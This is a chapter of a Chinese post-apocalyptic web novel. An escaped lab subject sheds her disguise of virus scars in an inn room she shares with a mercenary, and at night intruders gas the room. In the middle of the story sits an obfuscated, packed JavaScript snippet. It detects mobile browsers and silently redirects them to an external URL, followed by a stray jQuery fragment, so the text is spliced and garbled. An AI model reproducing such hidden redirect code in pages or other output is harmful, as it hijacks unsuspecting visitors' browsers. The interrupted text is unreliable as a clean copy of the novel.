楚飞洗漱得极快。
没一会儿,浴室门就被拉开,他迈步而出,墨黑短发还缀着水珠,顺着线条利落的脖颈滑进领口,身上是新的黑色宽松短袖加迷彩裤,干净利落的装扮让他周身的戾气淡了几分。
唐安的目光在他身上短暂一落,又飞快移开。
楚飞其实长得并不算太差,比他之前见过的那些荒野上的佣兵都要好看一些。
而且楚飞的优点是比较爱干净,并不像那些佣兵一样,脏不拉几的,身上的头,身上似乎都能闻到一股怪怪的味道。
楚飞擦了擦头发,走到了唐安的面前,看了看唐安身上的灰色袍子,皱了下眉,拿出钥匙解开了手铐道:“去洗澡。”
唐安点了点头。
楚飞又从背包里翻出一件灰色卫衣和蓝色长裤,径直扔到唐安身上,语气不耐:“把你身上这脏袍子换了。”
那袍子是唐安从一具尸体上扒来的,当初从研究所仓皇出逃,她身上的衣服太过扎眼,又没胆子去偷旁人的,也只能凑活穿这个。
楚飞虽然很看不上唐安,而且也很怀疑唐安,但是作为一个爱干净的佣兵,也受不了与这样脏兮兮的唐安共处一室。
唐安手忙脚乱地接住,有些错愕地望着他,而楚飞依旧是那副冷着一张脸、生人勿近的模样。
看着唐安愣愣的样子,又不由得冷声道,“看什么看,还不快去把你身上洗干净,别把病毒传染到这里。”
唐安立刻点头,飞快地抱着衣服跑进了浴室。
浴室里还氤氲着未散的热气,唐安关上门落了锁,三两下褪去身上的脏衣。
镜中映出的躯体上,爬满了与脸颊如出一辙的红色疤痕。
她盯着镜中的自己,这是从实验室逃出来后,她第一次这般认真地打量如今的自己。
这世道对一个手无缚鸡之力的女人,藏着怎样的恶意。所以她在辐射区服下了那种病毒,任由浑身长满脓包,这是她能想到的,保护自己的最好方式。
只是逃出生天之后,她根本没勇气去看自己变成了什么鬼样子。
眼下望着镜中这张陌生的脸,唐安微微歪了歪头,只觉镜中人跟记忆里的自己判若两人。
明明还是那张脸的轮廓,可层层叠叠的红色疤痕,早已将她原本白皙莹润的容貌,遮盖得面目全非。
唐安对自己的容貌没什么特别的感触。毕竟在实验室里,皮囊好看与否根本无足轻重。
所有人都只是任人摆布的实验体,日复一日被注射各种不明药剂。
唐安凝视着镜中陌生的自己,又缓缓落向小腹处,那里有一枚细长的像是的纹身般的痕迹,像一株枯槁的小树,枝桠从肚脐向上,蜿蜒着攀附在肌肤之上。
这纹身自她有记忆起便刻在身上,因为她的记忆一直不全,她也不知道这个东西是她出生就有还是后来沾染病毒所致。
更诡异的是,每当她遭遇强烈刺激时,这株枯树便会像活过来一般,枝桠瞬间蔓延遍她全身。
科研所的里人以为这是唐安因为被试验的次数太多,而造成的身体发生的古怪的异变。
但是唐安知道不是这个原因,因为在她去科研所之前她的身上就有,只不过那个时候是金色的。
她骗了楚飞,科研所里根本没有什么能抑制强化剂副作用的解药,更没有什么解百毒的基因进化原液。
真正的基因进化原液就是她自己。
而这,也是她能在那个每天都有无数实验体惨死的地狱里,硬生生撑过十年的原因。
唐安低头盯着身上的纹身,眉头皱了皱,抬手使劲压了压自己的腹部,饥饿的感觉越来越强烈了,食物根本无法补充这种饥饿感。
温热的水流哗啦啦浇下来,冲走了头发上的尘垢,也洗去了身上积攒的污秽。
她将那件灰扑扑的袍子也一并扔进水里搓洗,深灰色的污渍在水里晕开,触目惊心,可见这袍子脏到了什么地步。
洗完衣服,唐安又胡乱抹了把旅店备用的沐浴露和洗发液,匆匆将头发和身体又搓洗了一遍。
可洗着洗着,她忽然察觉到一丝不对劲。
那些黏在身上的粉色痕迹,竟然像一层死皮似的,被水流冲得剥落下来。
唐安抬手捞起一片轻飘飘的、类似人皮的东西,怔怔地看着,一时间有些回不过神。
大概是楚飞给他服下的那剂毒药的毒性,和他先前注射的强化剂的能量相互作用,已经完全中和了那层伪装皮肤的效力。
唐安下意识抬眼望向镜子。
水汽氤氲的镜面后,映出一个熟悉的女人。
和之前那个满身脓包、狼狈不堪的模样,判若两人。
身上还残留着几缕斑驳的粉红印记,唐安手指微微用力,将那些尚未脱落的痕迹尽数撕了下来。
完美的,没有任何疤痕的皮肤显露了出来,洁白莹润。
唐安垂眸,沉默片刻,之前用病毒把自己折腾得满身脓包,是为了用丑陋的皮囊,隔绝外界那些觊觎的目光和不怀好意的伤害。
可现在,这层伪装已经没有了。
楚飞坐在床上,正仔仔细细擦拭着手中的枪支。
身后的浴室门传来一声轻响,接着是沾着水汽的脚步声。
楚飞头也没回,手上的动作依旧不紧不慢。
脚步声在原地顿了顿,随即转向床对面的小窗。
窗边拴着一根绳子,推开窗便是一个简易的晾衣架。唐安开窗将架子撑开,把刚洗净的灰色袍子搭了上去。
楚飞这时才将擦拭干净的枪支收回背包。
今晚得早些休息,明天还有漫漫长路要赶。他伸了个懒腰,顺势倒在床上。
房间里只有一张床,虽说宽敞得足够容下两人,楚飞当然不会和唐安同榻。好在屋里还有一张沙发,以她的体格,蜷在上面应该没问题。
他心里这般想着,抬头望向窗边,打算让唐安去睡沙发,可目光触及的瞬间,却倏地愣住了。
窗边站着的女人裹着一件宽松的灰色卫衣,下身是黑色的有些宽大的裤子,正抬手拧着衣料上的水珠。
楚飞微怔,视线缓缓上移,落在她的侧脸上。
楚飞愣了两秒,才后知后觉地反应过来,立刻从床上站起身,一脸警惕地盯着唐安,脱口问道:“你是谁?”
唐安扭过头来,她预想过楚飞见到自己真实模样的反应,却没料到会是这样。
“我....是唐安。”唐安转过头,看向惊讶的楚飞
楚飞皱紧眉头,上下打量着她。身形、身高都和唐安别无二致,唯独这张脸。
他目光锐利地看着她,“你是唐安?你身上那些……”
“都消了,大概是之前喝的强化剂的缘故。”唐安接话道。
楚飞又是一愣,他从未听说过强化剂还有这般效用。
“因为我的身体服用过基因进化原液,所以强化剂会中和我身体的任何毒素。”唐安又解释道。
楚飞目光不受控制地,又落在了唐安身上。她身上的灰色卫衣是楚飞的,此刻被唐安穿在身上,非常的宽大,更衬得唐安的身材娇小。
这样的皮肤,不是在荒野上摸爬滚打的女人能有的。
楚飞别过脸,没有再去看唐安,即使唐安身上没有那些疤痕,也无法引起楚飞的兴趣。
在这片废土上,容貌不是活下去的资本,食物与枪才是。
“你今天睡沙发。”楚飞指了指一旁的沙发。
“哦。”唐安点头,重新关上窗户,走向一旁的沙发,沙发很大,足够她睡。
但实际她现在并不困,只是饿,她揉了揉空空的肚子,一阵饥饿感涌了上来。
她看向楚飞,他坐在床上,拿着通讯器,不知道在做什么。
这般强烈的视线,楚飞自然能察觉到。
他抬眼对上她的目光,有些不自然地皱起眉头:“你看我干什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142212|196142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唐安吓了一跳,立刻转头,“没,什么。”
可没过一会,唐安悄悄地探出,探出半个脑袋来,又偷偷地扭头看向一旁床上躺着的楚飞。
楚飞已经收起了通讯器,平躺在床上,不过他没有睡着,视线正好与唐安对上,唐安吓了一跳,立刻又缩回毯子里面。
但是饥饿感太强烈了,根本无法睡着,唐安还是忍不住又看向楚飞,“我....我好饿,能给我点吃的吗?”
“饿?”楚飞皱眉,在之前,楚飞就给了唐安一份自热米饭作为晚饭。
虽然楚飞脾气不好,但是该给的一日三餐给的倒是及时。
尤其是今天,因为进了城,又收到高文的报酬,楚飞难得的大方了一点,没再吃那些压缩饼干,给了唐安自热米饭。
唐安点头,有点不好意思,“我...……我好饿。”
楚飞不耐烦,那盒自热米饭可价值20联邦币,他现在什么好处都没捞到,一直在赔钱。
“我会还给你的,你放心,等到了二十七城,我就会还给你,把欠你的都还给你。”看着楚飞变了脸色,唐安立刻又补充。
一块面包扔到了唐安身上,唐安立刻伸手拿起来,朝着楚飞道谢,“谢谢。”
楚飞却冷哼一声,没有说话,接着转过了身去。
唐安将面包撕开,小口的咀嚼起来。
她想到了高文之前给她说的话,一个女人想在这个世界上活下去很难,更别提她还有自己的事情要做,那是她绝对不会完成的。
这个世界的肮脏已经超出了唐安的想象,所以她必须要有帮手才行。
但是她能相信的人不多,眼前的这个佣兵,大概是可以考虑的人,只是他的脾气有点差。唐安的心里想了一圈。
眼下能够上提供帮助的人只有楚飞,当然,她也可以上外面去寻找其他人,但是她怕她找的那些人还不如楚飞。
心里还琢磨着找帮手的事,迷迷糊糊间,竟不知何时睡了过去。
唐安是被饿醒的。
腹中的饥饿感一阵强过一阵,她闭着眼蜷缩起身子,将手紧紧按在小腹上,拼命忍着那股蚀骨的空乏。
就在这时,一阵脚步声忽然传入耳中。
脚步声由远及近,最后停在了房门外,唐安睁开眼。
门外传来清晰的呼吸声,有人正站在那里。
紧接着,一阵极轻微的嗡嗡震动声,顺着门缝飘了进来。
唐安凝神细听,同时下意识地朝门口望去,黑暗中,一阵白色的烟雾从门缝中飘了进来。
空气中很快弥漫开一股刺鼻的怪味。唐安不慎吸入一口,只觉脑袋一阵发晕,不过片刻,便又迅速清明过来。
她的心头瞬间警铃大作。
不对劲,太不对劲了。这满室的怪味,有些熟悉。
这是带着麻醉效果的气味!她以前在实验室里,闻过很多次。起初,实验人员给她用的新型麻醉剂,能让她昏睡一个小时;
可到了后来,她身体对麻醉剂的抵抗力越来越强,唯有最新研制的昏睡剂,才能让她在实验中彻底陷入昏迷。
就在房内烟雾浓度越来越高时,门锁处突然传来“咔哒”一声轻响。
唐安吓了一跳,立刻坐起来,那门锁便又接连响起一阵晃动声,显然,有人正在外面试着用钥匙开锁。
怎么回事?是有人走错房间了?
可那门锁晃动的幅度越来越大,像是有人在刻意撬锁!唐安惊出一身冷汗,掀开被子,快步跑到楚飞床边。
楚飞睡得很沉,对门外的动静毫无察觉,即便那门锁的响动并不算小。
唐安急得拍了拍他的肩膀,楚飞纹丝不动。
她咬咬牙,又用了几分力气,重重掐了一下他的肩膀,可楚飞依旧没有半分反应。
唐安蓦地一愣,这才后知后觉地反应过来,刚才那股怪味,就是用来让人昏睡的!
门外的人,是有备而来。